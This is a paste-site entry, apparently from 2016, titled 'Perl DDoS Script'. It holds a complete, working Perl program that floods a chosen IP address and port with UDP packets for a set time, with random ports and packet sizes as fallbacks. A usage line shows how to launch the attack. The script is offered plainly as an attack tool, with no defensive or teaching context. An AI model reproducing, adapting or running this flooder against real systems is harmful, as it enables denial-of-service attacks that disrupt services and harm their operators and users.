Perl DDoS Script


SUBMITTED BY: KenKaneki315

DATE: April 14, 2016, 3 a.m.

FORMAT: Perl

SIZE: 943 Bytes

HITS: 549

  1. use Socket;
  2. use strict;
  3. if ($#ARGV != 3) {
  4. print "\n\t\t\t***Error command must recieve four arguements***\n";
  5. print "-Ex) perl DDoS.pl 1.1.1.1 80 1000 300\n";
  6. print "-Therefore DDoSing the IP '1.1.1.1' for '300' seconds on port '80' using '1000' packets\n\n";
  7. exit(1);
  8. }
  9. my ($ip,$port,$size,$time) = @ARGV;
  10. my ($iaddr,$endtime,$psize,$pport);
  11. $iaddr = inet_aton("$ip") or die "Cannot connect to $ip\n";
  12. $endtime = time() + ($time ? $time : 1000000);
  13. socket(flood, PF_INET, SOCK_DGRAM, 17);
  14. print "~To cancel the attack press \'Ctrl-C\'\n\n";
  15. print "|IP|\t\t |Port|\t\t |Size|\t\t |Time|\n";
  16. print "|$ip|\t |$port|\t\t |$size|\t\t |$time|\n";
  17. print "To cancel the attack press 'Ctrl-C'\n" unless $time;
  18. for (;time() <= $endtime;) {
  19. $psize = $size ? $size : int(rand(1500-64)+64) ;
  20. $pport = $port ? $port : int(rand(65500))+1;
  21. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}

comments powered by Disqus